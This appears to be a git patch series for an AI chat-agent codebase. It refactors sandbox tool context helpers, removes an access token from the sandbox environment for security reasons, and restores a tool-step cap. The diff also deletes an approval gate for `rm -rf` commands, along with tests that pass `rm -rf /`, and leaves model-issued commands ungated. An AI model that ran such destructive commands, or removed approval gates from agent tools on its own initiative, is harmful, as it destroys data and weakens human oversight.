*/ agentContext: AgentContext; }; -const MAX_TOOL_STEPS = 25; - /** * One LLM turn (with internal tool-call iteration) in the chat workflow. * Runs as a Vercel Workflow `"use step"` so: @@ -32,7 +24,7 @@ const MAX_TOOL_STEPS = 25; * do not re-bill the model or re-execute tools. * * `streamText` drives the tool-call → tool-result → next-LLM-call loop - * internally (up to `MAX_TOOL_STEPS` iterations). Our outer workflow stays + * internally using its default stop condition. Our outer workflow stays * single-turn for now — multi-turn message threading lands when the rest * of the tool surface ports in a follow-up PR. * @@ -55,7 +47,6 @@ export async function runAgentStep(input: RunAgentStepInput): Promise<{ finishRe system: agentCustomInstructions, messages: modelMessages, tools, - stopWhen: stepCountIs(MAX_TOOL_STEPS), experimental_context: input.agentContext, }); diff --git a/app/lib/workflows/runAgentWorkflow.ts b/app/lib/workflows/runAgentWorkflow.ts index 4206eec4c..ce65b0bb3 100644 --- a/app/lib/workflows/runAgentWorkflow.ts +++ b/app/lib/workflows/runAgentWorkflow.ts @@ -1,7 +1,7 @@ import { getWritable } from "workflow"; import type { UIMessage, UIMessageChunk } from "ai"; import { runAgentStep } from "@/app/lib/workflows/runAgentStep"; -import type { AgentContext } from "@/lib/agent/tools/utils"; +import type { AgentContext } from "@/lib/agent/tools/AgentContext"; export type RunAgentWorkflowInput = { messages: UIMessage[]; diff --git a/lib/agent/tools/AgentContext.ts b/lib/agent/tools/AgentContext.ts new file mode 100644 index 000000000..63d2a1b7e --- /dev/null +++ b/lib/agent/tools/AgentContext.ts @@ -0,0 +1,34 @@ +import type { VercelState } from "@/lib/sandbox/vercel/state"; + +/** + * Per-tool-call context threaded into the agent via `streamText`'s + * `experimental_context`. Mirrors the open-agents `AgentContext` shape + * (subset — slim PR 4 ports only the `bash` tool, so context only needs + * what `bash` reads). + * + * Why no `recoupAccessToken` field? A short-lived per-prompt credential + * would let sandbox tools (`skill`, the eventual `recoup-api` skill) call + * back to recoup-api as the caller. We deliberately omit it here — the + * legacy api-key path is too long-lived to expose inside a sandbox where + * model-issued bash commands can read env. Proper short-lived token + * minting lands alongside the `skill` tool port. + */ +export type AgentContext = { + /** + * Persistable sandbox state. Tools reconnect via `connectVercel(state)` — + * we never pass a live `Sandbox` instance through context because + * workflow durability requires replay-friendly inputs. + */ + sandbox: { + state: VercelState; + workingDirectory: string; + currentBranch?: string; + }; + /** + * Organization UUID when the sandbox was opened against a recoupable + * org repo (`org--`). Forwarded to sandboxed commands as + * `RECOUP_ORG_ID` so future `recoup-api` skill calls scope to that org. + * Public information — no security risk in exposing. + */ + recoupOrgId?: string; +}; diff --git a/lib/agent/tools/__tests__/bashTool.test.ts b/lib/agent/tools/__tests__/bashTool.test.ts index c33a948ff..da9a999d3 100644 --- a/lib/agent/tools/__tests__/bashTool.test.ts +++ b/lib/agent/tools/__tests__/bashTool.test.ts @@ -1,6 +1,5 @@ import { describe, it, expect, vi, beforeEach } from "vitest"; -import { bashTool, commandNeedsApproval } from "@/lib/agent/tools/bashTool"; - +import { bashTool } from "@/lib/agent/tools/bashTool"; import { connectVercel } from "@/lib/sandbox/vercel/connect/connectVercel"; vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({ @@ -22,23 +21,6 @@ function makeSandbox(overrides: Record = {}) { beforeEach(() => vi.clearAllMocks()); -describe("commandNeedsApproval", () => { - it("flags `rm -rf` as needing approval", () => { - expect(commandNeedsApproval("rm -rf /")).toBe(true); - expect(commandNeedsApproval("rm -rf node_modules")).toBe(true); - }); - - it("does not flag safe commands", () => { - expect(commandNeedsApproval("ls -la")).toBe(false); - expect(commandNeedsApproval("git status")).toBe(false); - expect(commandNeedsApproval("npm install")).toBe(false); - }); - - it("trims whitespace before matching", () => { - expect(commandNeedsApproval(" rm -rf foo ")).toBe(true); - }); -}); - describe("bashTool.execute", () => { it("executes a command via sandbox.exec in the sandbox's working directory", async () => { const sandbox = makeSandbox({ @@ -113,7 +95,7 @@ describe("bashTool.execute", () => { ); }); - it("injects RECOUP_ACCESS_TOKEN + RECOUP_ORG_ID into the exec env when present in context", async () => { + it("injects RECOUP_ORG_ID into the exec env when present in context", async () => { const sandbox = makeSandbox({ exec: vi.fn().mockResolvedValue({ success: true, @@ -127,17 +109,10 @@ describe("bashTool.execute", () => { const tool = bashTool(); await tool.execute!({ command: "curl example.com" }, { - experimental_context: { - ...baseContext, - recoupAccessToken: "rk_abc", - recoupOrgId: "org-uuid", - }, + experimental_context: { ...baseContext, recoupOrgId: "org-uuid" }, } as never); const opts = sandbox.exec.mock.calls[0]?.[3] as { env?: Record }; - expect(opts.env).toEqual({ - RECOUP_ACCESS_TOKEN: "rk_abc", - RECOUP_ORG_ID: "org-uuid", - }); + expect(opts.env).toEqual({ RECOUP_ORG_ID: "org-uuid" }); }); it("returns the detached commandId when called with detached:true", async () => { @@ -167,7 +142,7 @@ describe("bashTool.execute", () => { expect(result.stderr).toMatch(/detached mode is not supported/i); }); - it("does NOT inject RECOUP env vars on detached execs (token is per-prompt only)", async () => { + it("does NOT inject env vars on detached execs", async () => { const sandbox = makeSandbox({ execDetached: vi.fn().mockResolvedValue({ commandId: "cmd-1" }), }); @@ -175,10 +150,7 @@ describe("bashTool.execute", () => { const tool = bashTool(); await tool.execute!({ command: "npm run dev", detached: true }, { - experimental_context: { - ...baseContext, - recoupAccessToken: "rk_abc", - }, + experimental_context: { ...baseContext, recoupOrgId: "org-uuid" }, } as never); // execDetached signature is (command, cwd) — no env arg. expect(sandbox.execDetached.mock.calls[0]).toHaveLength(2); diff --git a/lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts b/lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts index b52e961f1..3422fd662 100644 --- a/lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts +++ b/lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts @@ -1,45 +1,31 @@ import { describe, it, expect } from "vitest"; import { buildRecoupExecEnv } from "@/lib/agent/tools/buildRecoupExecEnv"; +const baseSandbox = { state: { sandboxName: "x" }, workingDirectory: "/sandbox/mono" }; + describe("buildRecoupExecEnv", () => { - it("returns undefined when neither token nor orgId is in context", () => { + it("returns undefined when no context", () => { expect(buildRecoupExecEnv(undefined)).toBeUndefined(); - expect(buildRecoupExecEnv({ sandbox: { state: {}, workingDirectory: "/x" } })).toBeUndefined(); + expect(buildRecoupExecEnv(null)).toBeUndefined(); + expect(buildRecoupExecEnv("not-a-context")).toBeUndefined(); }); - it("injects RECOUP_ACCESS_TOKEN when present", () => { - const env = buildRecoupExecEnv({ - sandbox: { state: {}, workingDirectory: "/x" }, - recoupAccessToken: "rk_abc", - }); - expect(env).toEqual({ RECOUP_ACCESS_TOKEN: "rk_abc" }); + it("returns undefined when context has no recoupOrgId", () => { + expect(buildRecoupExecEnv({ sandbox: baseSandbox })).toBeUndefined(); }); - it("injects RECOUP_ORG_ID when present", () => { - const env = buildRecoupExecEnv({ - sandbox: { state: {}, workingDirectory: "/x" }, - recoupOrgId: "org-uuid", - }); + it("injects RECOUP_ORG_ID when present in context", () => { + const env = buildRecoupExecEnv({ sandbox: baseSandbox, recoupOrgId: "org-uuid" }); expect(env).toEqual({ RECOUP_ORG_ID: "org-uuid" }); }); - it("injects both when both present", () => { - const env = buildRecoupExecEnv({ - sandbox: { state: {}, workingDirectory: "/x" }, - recoupAccessToken: "rk_abc", - recoupOrgId: "org-uuid", - }); - expect(env).toEqual({ - RECOUP_ACCESS_TOKEN: "rk_abc", - RECOUP_ORG_ID: "org-uuid", - }); + it("ignores empty-string recoupOrgId", () => { + const env = buildRecoupExecEnv({ sandbox: baseSandbox, recoupOrgId: "" }); + expect(env).toBeUndefined(); }); - it("ignores empty-string token (avoids injecting `RECOUP_ACCESS_TOKEN=`)", () => { - const env = buildRecoupExecEnv({ - sandbox: { state: {}, workingDirectory: "/x" }, - recoupAccessToken: "", - }); - expect(env).toBeUndefined(); + it("returns undefined when the input is not a valid AgentContext shape", () => { + expect(buildRecoupExecEnv({ recoupOrgId: "org-uuid" })).toBeUndefined(); + expect(buildRecoupExecEnv({ sandbox: null, recoupOrgId: "org-uuid" })).toBeUndefined(); }); }); diff --git a/lib/agent/tools/__tests__/utils.test.ts b/lib/agent/tools/__tests__/getSandbox.test.ts similarity index 56% rename from lib/agent/tools/__tests__/utils.test.ts rename to lib/agent/tools/__tests__/getSandbox.test.ts index 9ffd9875a..a14122f81 100644 --- a/lib/agent/tools/__tests__/utils.test.ts +++ b/lib/agent/tools/__tests__/getSandbox.test.ts @@ -1,6 +1,5 @@ import { describe, it, expect, vi, beforeEach } from "vitest"; -import { isAgentContext, getSandbox } from "@/lib/agent/tools/utils"; - +import { getSandbox } from "@/lib/agent/tools/getSandbox"; import { connectVercel } from "@/lib/sandbox/vercel/connect/connectVercel"; vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({ @@ -9,27 +8,6 @@ vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({ beforeEach(() => vi.clearAllMocks()); -describe("isAgentContext", () => { - it("returns true for a well-formed agent context", () => { - expect( - isAgentContext({ - sandbox: { state: {}, workingDirectory: "/sandbox/mono" }, - }), - ).toBe(true); - }); - - it("returns false for non-object inputs", () => { - expect(isAgentContext(undefined)).toBe(false); - expect(isAgentContext(null)).toBe(false); - expect(isAgentContext("nope")).toBe(false); - expect(isAgentContext(42)).toBe(false); - }); - - it("returns false when `sandbox` is missing", () => { - expect(isAgentContext({ model: {} })).toBe(false); - }); -}); - describe("getSandbox", () => { it("reconnects via connectVercel(state) and returns the sandbox", async () => { const fakeSandbox = { workingDirectory: "/sandbox/mono" }; @@ -43,13 +21,19 @@ describe("getSandbox", () => { expect(connectVercel).toHaveBeenCalledWith(state); }); - it("throws a descriptive error when context is missing", async () => { + it("throws a descriptive error when context is missing entirely", async () => { await expect(getSandbox(undefined, "bash")).rejects.toThrow(/Sandbox state missing/); }); - it("throws when context.sandbox.state is missing", async () => { + it("throws when sandbox.state is missing", async () => { await expect( getSandbox({ sandbox: { workingDirectory: "/x" } } as never, "bash"), ).rejects.toThrow(/Sandbox state missing/); }); + + it("throws when sandbox.workingDirectory is empty (tightened guard)", async () => { + await expect( + getSandbox({ sandbox: { state: {}, workingDirectory: "" } } as never, "bash"), + ).rejects.toThrow(/Sandbox state missing/); + }); }); diff --git a/lib/agent/tools/__tests__/isAgentContext.test.ts b/lib/agent/tools/__tests__/isAgentContext.test.ts new file mode 100644 index 000000000..29ad4f29d --- /dev/null +++ b/lib/agent/tools/__tests__/isAgentContext.test.ts @@ -0,0 +1,42 @@ +import { describe, it, expect } from "vitest"; +import { isAgentContext } from "@/lib/agent/tools/isAgentContext"; + +describe("isAgentContext", () => { + it("returns true for a well-formed context", () => { + expect( + isAgentContext({ + sandbox: { state: { sandboxName: "x" }, workingDirectory: "/sandbox/mono" }, + }), + ).toBe(true); + }); + + it("returns false for non-object inputs", () => { + expect(isAgentContext(undefined)).toBe(false); + expect(isAgentContext(null)).toBe(false); + expect(isAgentContext("nope")).toBe(false); + expect(isAgentContext(42)).toBe(false); + }); + + it("returns false when sandbox is missing", () => { + expect(isAgentContext({})).toBe(false); + }); + + it("returns false when sandbox is null", () => { + expect(isAgentContext({ sandbox: null })).toBe(false); + }); + + it("returns false when sandbox is empty (missing state and workingDirectory)", () => { + expect(isAgentContext({ sandbox: {} })).toBe(false); + }); + + it("returns false when sandbox.state is missing or null", () => { + expect(isAgentContext({ sandbox: { workingDirectory: "/x" } })).toBe(false); + expect(isAgentContext({ sandbox: { state: null, workingDirectory: "/x" } })).toBe(false); + }); + + it("returns false when sandbox.workingDirectory is missing, non-string, or empty", () => { + expect(isAgentContext({ sandbox: { state: {} } })).toBe(false); + expect(isAgentContext({ sandbox: { state: {}, workingDirectory: 42 } })).toBe(false); + expect(isAgentContext({ sandbox: { state: {}, workingDirectory: "" } })).toBe(false); + }); +}); diff --git a/lib/agent/tools/bashTool.ts b/lib/agent/tools/bashTool.ts index c5fad4178..908113812 100644 --- a/lib/agent/tools/bashTool.ts +++ b/lib/agent/tools/bashTool.ts @@ -2,7 +2,7 @@ import { tool } from "ai"; import { z } from "zod"; import * as path from "path"; import { buildRecoupExecEnv } from "@/lib/agent/tools/buildRecoupExecEnv"; -import { getSandbox } from "@/lib/agent/tools/utils"; +import { getSandbox } from "@/lib/agent/tools/getSandbox"; const TIMEOUT_MS = 120_000; @@ -20,45 +20,21 @@ const bashInputSchema = z.object({ ), }); -type BashInput = z.infer; -type ApprovalFn = (args: BashInput) => boolean | Promise; - -export interface BashToolOptions { - /** - * Override the default "approve only dangerous commands" gate. Pass `true` - * to require approval for every bash call, `false` to suppress approval - * entirely, or a predicate that receives the resolved args. - */ - needsApproval?: boolean | ApprovalFn; -} - -const DANGEROUS_COMMAND_PATTERNS = [/\brm\s+-rf\b/]; - -/** - * Returns true when a command matches the built-in dangerous-pattern list - * and should always trigger the approval gate. - * - * @param command - The raw command string from the model. - */ -export function commandNeedsApproval(command: string): boolean { - const trimmed = command.trim(); - return DANGEROUS_COMMAND_PATTERNS.some(pattern => pattern.test(trimmed)); -} - /** * Factory for the `bash` sandbox tool. Runs `bash -c ""` inside * the agent's sandbox via `sandbox.exec`, defaulting cwd to the sandbox's * working directory. * - * Foreground execs inject `RECOUP_ACCESS_TOKEN` + `RECOUP_ORG_ID` env vars - * from agent context so outbound HTTP from the sandbox can authenticate as - * the calling user for the prompt's lifetime. Detached execs (`detached: true`) - * deliberately skip those injections — the process outlives the prompt and - * must authenticate via its own mechanism. + * Approval gating is intentionally absent — model-issued commands are + * trusted in this PR. Add a host-side gate at the route/UI layer if that + * changes. * - * @param options - Optional approval-gate override. + * Foreground execs receive `RECOUP_ORG_ID` from agent context (when the + * sandbox is org-scoped) so future `recoup-api` skill calls can scope to + * the right org. Detached execs deliberately skip env injection — those + * processes outlive the prompt. */ -export const bashTool = (options?: BashToolOptions) => +export const bashTool = () => tool({ description: `Execute a bash command in the user's shell (non-interactive). @@ -86,15 +62,6 @@ IMPORTANT: - Always quote file paths that may contain spaces - Use detached: true to start dev servers / long-running processes in the background`, inputSchema: bashInputSchema, - needsApproval: async args => { - if (commandNeedsApproval(args.command)) { - if (typeof options?.needsApproval === "function") { - return options.needsApproval(args); - } - return options?.needsApproval ?? true; - } - return false; - }, execute: async ({ command, cwd, detached }, { experimental_context, abortSignal }) => { const sandbox = await getSandbox(experimental_context, "bash"); const workingDirectory = sandbox.workingDirectory; @@ -115,9 +82,6 @@ IMPORTANT: }; } try { - // Detached processes outlive the prompt; deliberately do NOT inject - // RECOUP_ACCESS_TOKEN since the token is scoped to foreground execs - // whose lifetime matches the prompt. const { commandId } = await sandbox.execDetached(command, workingDir); return { success: true, diff --git a/lib/agent/tools/buildRecoupExecEnv.ts b/lib/agent/tools/buildRecoupExecEnv.ts index e72f80771..6eaf3015f 100644 --- a/lib/agent/tools/buildRecoupExecEnv.ts +++ b/lib/agent/tools/buildRecoupExecEnv.ts @@ -1,11 +1,15 @@ -import { isAgentContext } from "@/lib/agent/tools/utils"; +import { isAgentContext } from "@/lib/agent/tools/isAgentContext"; /** - * Build a per-invocation env override carrying Recoupable sandbox context — - * access token and (when the sandbox was opened against an org repo) the - * org UUID — so outbound shell commands (curl, scripts, the `recoup-api` - * skill) can authenticate and scope requests without any credential or - * org state persisting on the sandbox. + * Build a per-invocation env override carrying Recoupable sandbox context + * so outbound shell commands (curl, scripts, the `recoup-api` skill) can + * scope requests correctly without any state persisting on the sandbox. + * + * Currently injects only `RECOUP_ORG_ID` — a public identifier. Auth-token + * injection is deliberately NOT included here; a long-lived api key in the + * sandbox env would be readable by any model-issued bash command. Proper + * short-lived token minting will land alongside the `skill` tool port + * (when there's an actual consumer for it). * * Returns `undefined` when nothing is available to inject so callers can * cleanly spread a conditional `...(env ? { env } : {})` into exec opts. @@ -15,15 +19,11 @@ import { isAgentContext } from "@/lib/agent/tools/utils"; export function buildRecoupExecEnv( experimental_context: unknown, ): Record | undefined { - const context = isAgentContext(experimental_context) ? experimental_context : undefined; - if (!context) return undefined; + if (!isAgentContext(experimental_context)) return undefined; const env: Record = {}; - if (context.recoupAccessToken) { - env.RECOUP_ACCESS_TOKEN = context.recoupAccessToken; - } - if (context.recoupOrgId) { - env.RECOUP_ORG_ID = context.recoupOrgId; + if (experimental_context.recoupOrgId) { + env.RECOUP_ORG_ID = experimental_context.recoupOrgId; } return Object.keys(env).length > 0 ? env : undefined; diff --git a/lib/agent/tools/getSandbox.ts b/lib/agent/tools/getSandbox.ts new file mode 100644 index 000000000..be6c46605 --- /dev/null +++ b/lib/agent/tools/getSandbox.ts @@ -0,0 +1,28 @@ +import type { Sandbox } from "@/lib/sandbox/interface"; +import { connectVercel } from "@/lib/sandbox/vercel/connect/connectVercel"; +import { isAgentContext } from "@/lib/agent/tools/isAgentContext"; + +/** + * Resolve a connected `Sandbox` instance from `experimental_context`. + * Reconnects each call via `connectVercel(state)` rather than caching the + * handle on context — workflow durability requires that side-effecting + * resources (sandbox sessions) be re-acquired inside the step that uses + * them, not passed across event boundaries. + * + * @param experimental_context - The opaque context object passed by AI SDK to tool execute. + * @param toolName - Optional tool name to surface in error messages. + */ +export async function getSandbox( + experimental_context: unknown, + toolName?: string, +): Promise { + if (!isAgentContext(experimental_context)) { + const where = toolName ? ` (tool: ${toolName})` : ""; + throw new Error( + `Sandbox state missing from agent context${where}. ` + + "Ensure the workflow start payload includes `sandbox.state` and that " + + "runAgentStep threads it via experimental_context.", + ); + } + return connectVercel(experimental_context.sandbox.state); +} diff --git a/lib/agent/tools/isAgentContext.ts b/lib/agent/tools/isAgentContext.ts new file mode 100644 index 000000000..0049ac010 --- /dev/null +++ b/lib/agent/tools/isAgentContext.ts @@ -0,0 +1,26 @@ +import type { AgentContext } from "@/lib/agent/tools/AgentContext"; + +/** + * Type-guard that confirms an arbitrary `experimental_context` shape has + * the AgentContext fields tools rely on at runtime. Validates each required + * leaf (sandbox object, state object, non-empty workingDirectory) so callers + * can trust the narrowed type — earlier weaker guards returned true for + * `{ sandbox: null }` or `{ sandbox: {} }`, letting tools later crash on + * "cannot read .x of undefined". + * + * @param value - The opaque context object passed by AI SDK to tool execute. + */ +export function isAgentContext(value: unknown): value is AgentContext { + if (typeof value !== "object" || value === null) return false; + + const candidate = value as { sandbox?: unknown }; + const sandbox = candidate.sandbox; + if (typeof sandbox !== "object" || sandbox === null) return false; + + const sandboxFields = sandbox as { state?: unknown; workingDirectory?: unknown }; + if (typeof sandboxFields.state !== "object" || sandboxFields.state === null) return false; + if (typeof sandboxFields.workingDirectory !== "string") return false; + if (sandboxFields.workingDirectory.length === 0) return false; + + return true; +} diff --git a/lib/agent/tools/utils.ts b/lib/agent/tools/utils.ts deleted file mode 100644 index 9982084a5..000000000 --- a/lib/agent/tools/utils.ts +++ /dev/null @@ -1,75 +0,0 @@ -import type { Sandbox } from "@/lib/sandbox/interface"; -import type { VercelState } from "@/lib/sandbox/vercel/state"; -import { connectVercel } from "@/lib/sandbox/vercel/connect/connectVercel"; - -/** - * Per-tool-call context threaded into the agent via `streamText`'s - * `experimental_context`. Mirrors the open-agents `AgentContext` shape - * (subset — slim PR 4 only ports `bash`, so context only needs what - * the bash tool reads). - */ -export type AgentContext = { - /** - * Persistable sandbox state. Tools reconnect via `connectVercel(state)` — - * we never pass a live `Sandbox` instance through context because - * workflow durability requires replay-friendly inputs. - */ - sandbox: { - state: VercelState; - workingDirectory: string; - currentBranch?: string; - }; - /** - * Per-prompt access token for the Recoup API. Forwarded to sandboxed - * commands as `RECOUP_ACCESS_TOKEN` so skills (`recoup-api`) and ad-hoc - * curls can authenticate as the calling user for the prompt's lifetime. - */ - recoupAccessToken?: string; - /** - * Organization UUID when the sandbox was opened against a recoupable - * org repo (`org--`). Forwarded as `RECOUP_ORG_ID` so - * `recoup-api` skill calls scope to that org. - */ - recoupOrgId?: string; -}; - -/** - * Type-guard that confirms an arbitrary `experimental_context` shape - * has the AgentContext fields we rely on. Falsy guards on missing - * fields keep tool error messages precise instead of throwing - * "cannot read .x of undefined". - */ -export function isAgentContext(value: unknown): value is AgentContext { - return ( - typeof value === "object" && - value !== null && - "sandbox" in value && - typeof (value as { sandbox: unknown }).sandbox === "object" - ); -} - -/** - * Resolve a connected `Sandbox` instance from `experimental_context`. - * Reconnects each call via `connectVercel(state)` rather than caching the - * handle on context — workflow durability requires that side-effecting - * resources (sandbox sessions) be re-acquired inside the step that uses - * them, not passed across event boundaries. - * - * @param experimental_context - The opaque context object passed by AI SDK to tool execute. - * @param toolName - Optional tool name to surface in error messages. - */ -export async function getSandbox( - experimental_context: unknown, - toolName?: string, -): Promise { - const context = isAgentContext(experimental_context) ? experimental_context : undefined; - if (!context?.sandbox?.state) { - const where = toolName ? ` (tool: ${toolName})` : ""; - throw new Error( - `Sandbox state missing from agent context${where}. ` + - "Ensure the workflow start payload includes `sandbox.state` and that " + - "runAgentStep threads it via experimental_context.", - ); - } - return connectVercel(context.sandbox.state); -} diff --git a/lib/chat/handleChatWorkflowStream.ts b/lib/chat/handleChatWorkflowStream.ts index 9019da195..6ceb0c867 100644 --- a/lib/chat/handleChatWorkflowStream.ts +++ b/lib/chat/handleChatWorkflowStream.ts @@ -104,8 +104,11 @@ export async function handleChatWorkflowStream(request: NextRequest): Promise Date: Thu, 21 May 2026 13:06:11 -0500 Subject: [PATCH 3/3] refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Per discussion on PR #583. Restoring the streamText stop condition so the workflow agent gets the model wrap-up turn after a tool call (model → tool → tool-result → model → text response), instead of stopping at streamText's default `stepCountIs(1)` after the first tool call. DRY by sharing one constant between the two chat endpoints: - New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts. Inherits the value that /api/chat already uses (originally hardcoded in getGeneralAgent.ts:55) — high enough that normal flows never hit the cap but bounds runaway loops for cost / replay safety. - lib/agents/generalAgent/getGeneralAgent.ts: imports the constant instead of constructing stepCountIs(111) inline. - app/lib/workflows/runAgentStep.ts: imports the constant, passes to streamText as `stopWhen`. Single-shot agents (createCompactAgent, createContentPromptAgent, createEmailReplyAgent) intentionally keep their local `stepCountIs(1)` — they're not in the multi-step chat family. Full suite 2980/2980 pass; lint clean; production build succeeds. Co-Authored-By: Claude Opus 4.7 (1M context) --- app/lib/workflows/runAgentStep.ts | 2 ++ lib/agents/generalAgent/getGeneralAgent.ts | 5 +++-- lib/chat/const.ts | 13 +++++++++++++ 3 files changed, 18 insertions(+), 2 deletions(-) diff --git a/app/lib/workflows/runAgentStep.ts b/app/lib/workflows/runAgentStep.ts index 9edd2ab8e..f9a894195 100644 --- a/app/lib/workflows/runAgentStep.ts +++ b/app/lib/workflows/runAgentStep.ts @@ -1,6 +1,7 @@ import { streamText, convertToModelMessages, type UIMessage, type UIMessageChunk } from "ai"; import { gateway } from "@ai-sdk/gateway"; import { agentCustomInstructions } from "@/lib/chat/agentCustomInstructions"; +import { CHAT_AGENT_STOP_WHEN } from "@/lib/chat/const"; import { buildAgentTools } from "@/lib/agent/buildAgentTools"; import type { AgentContext } from "@/lib/agent/tools/AgentContext"; @@ -47,6 +48,7 @@ export async function runAgentStep(input: RunAgentStepInput): Promise<{ finishRe system: agentCustomInstructions, messages: modelMessages, tools, + stopWhen: CHAT_AGENT_STOP_WHEN, experimental_context: input.agentContext, }); diff --git a/lib/agents/generalAgent/getGeneralAgent.ts b/lib/agents/generalAgent/getGeneralAgent.ts index 7c2c9407b..e4bc4fc56 100644 --- a/lib/agents/generalAgent/getGeneralAgent.ts +++ b/lib/agents/generalAgent/getGeneralAgent.ts @@ -1,4 +1,5 @@ -import { stepCountIs, ToolLoopAgent } from "ai"; +import { ToolLoopAgent } from "ai"; +import { CHAT_AGENT_STOP_WHEN } from "@/lib/chat/const"; import { AnthropicProviderOptions } from "@ai-sdk/anthropic"; import { GoogleGenerativeAIProviderOptions } from "@ai-sdk/google"; import { OpenAIResponsesProviderOptions } from "@ai-sdk/openai"; @@ -52,7 +53,7 @@ export default async function getGeneralAgent(body: ChatRequestBody): Promise